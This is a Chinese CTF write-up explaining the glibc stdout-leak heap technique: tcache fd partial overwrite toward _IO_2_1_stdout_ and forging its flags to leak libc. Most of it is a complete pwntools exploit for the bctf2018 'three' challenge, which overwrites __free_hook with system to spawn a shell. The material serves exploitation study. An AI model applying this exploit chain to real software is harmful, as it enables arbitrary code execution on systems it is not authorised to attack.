IO file 系列利用和题目,见参考资料 https://xz.aliyun.com/t/5853
stdout leak
我们在使用堆块的时候,容易造成任意地址写漏洞,但是如果程序开启了 PIE
,并且没有任何输出函数,这个时候就需要利用 stdout
的特性来对 libc
基址进行泄露了。
原理
- 堆块任意地址写
- stdout 中 flag 不同而对程序控制流造成改变
- _IO_write_base 的最低位被改变之后会泄露 libc 地址
堆块写
通常使用 tcache 进行任意地址写。
tcache 在 free 之后会保存 下一个 tcache
的地址,我们可以修改这个 fd
的为目的地址。
可是这个目的地址是未知的,我们应该如何寻找呢?
既然我们拥有了任意写地址的能力,那么我们可以
- 修改
fd
的最低位,从而控制本tcache
(记为 t0) 的prev_size
和size
位(记为 t1) - 修改 t0,从而使 t1 的性质发生改变(变成 small_chunk)
- free t0,使 t0->fd 存放 libc 地址(当然这一步之前需要先填满 tcache)
- 修改 t1,改回 t0 的性质。
这个时候,我们再修改 t0->fd 的最低两字节
,因为这个时候 t0->fd = 0x7fffxxxxx
,所以就能将目的地址指向 libc 的某个位置
。
因为 libc 中 最后 24bits
始终不变,所以这相当于我们有 1/16 的几率能够命中目标。
这时候我们将目标选中 _IO_2_1_stdout_
修改 stdout
这部分参见以下的源码分析
[https://n0va-scy.github.io/2019/09/21/IO_FILE/]()
简而言之,将 _flag
修改为 0xfbad3c80
并且将 _IO_write_base
的最低 8bits
改小,即可泄露 libc
地址
bctf2018 three exp
这道题只给了 add,edit,delete 选项,并且可操作堆块最多有三个
delete 处有 uaf
from pwn import *
local=1
pc='./three'
remote_addr=['',0]
aslr=False
context.log_level=True
context.terminal=["open-wsl.exe","-c"]
elf_dir = './three'
ld_dir = './ld-2.27.so'
libc_dir = './libc.so.6'
libc=ELF('./libc.so.6')
if local==1:
p = process([ld_dir, elf_dir], env={"LD_PRELOAD": libc_dir})
#p = process(pc,aslr=aslr)
#gdb.attach(p,'c')
else:
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,b'\x00'))
else:
return u64(rl().strip('\n').ljust(8,b'\x00'))
def choice(idx):
sla("choice:",str(idx))
def add(content):
choice(1)
sa("content:",content)
def edit(idx,content):
choice(2)
sla("idx:",str(idx))
sa("content:",content)
def free(idx,c):
choice(3)
sla(":",str(idx))
sla(":",c)
if __name__ == '__main__':
# to create a fd with libc_addr
add("123")
add(p64(0x11)*8)
free(1,'y')
free(0,'n')
edit(0,p8(0x50))
add('123')
add(p64(0))
free(1,'n')
edit(2,p64(0)+p64(0x91))
for i in range(0x7):
free(1,'n')
edit(2,p64(0)+p64(0x51))
free(0,'y')
edit(2,p64(0)+p64(0x91))
#gdb.attach(p, 'b *$rebase(0xD87)')
free(1,'y')
# Bruteforce 4 bits to make fd point to _IO_2_1_stdout_
edit(2,p64(0)+p64(0x51)+p16(0x7760))
add("123")
# Modify the flag and the write pointers
add(p64(0xfbad3c80)+p64(0)*3+p8(0))
rv(8)
libc_addr=raddr()-0x3ed8b0
lg("libc",libc_addr)
lg("free_hook",libc_addr+libc.symbols['__free_hook'])
libc.address=libc_addr
ru("Done")
free(0,'y')
edit(2,p64(0)+p64(0x51)+p64(libc.symbols['__free_hook']))
add("123")
edit(2,p64(0)+p64(0x61)+p64(libc.symbols['__free_hook']))
free(0,'y')
add(p64(libc.symbols['system']))
edit(2,'/bin/sh\x00')
choice(3)
gdb.attach(p)
sla(":",str(2))
p.interactive()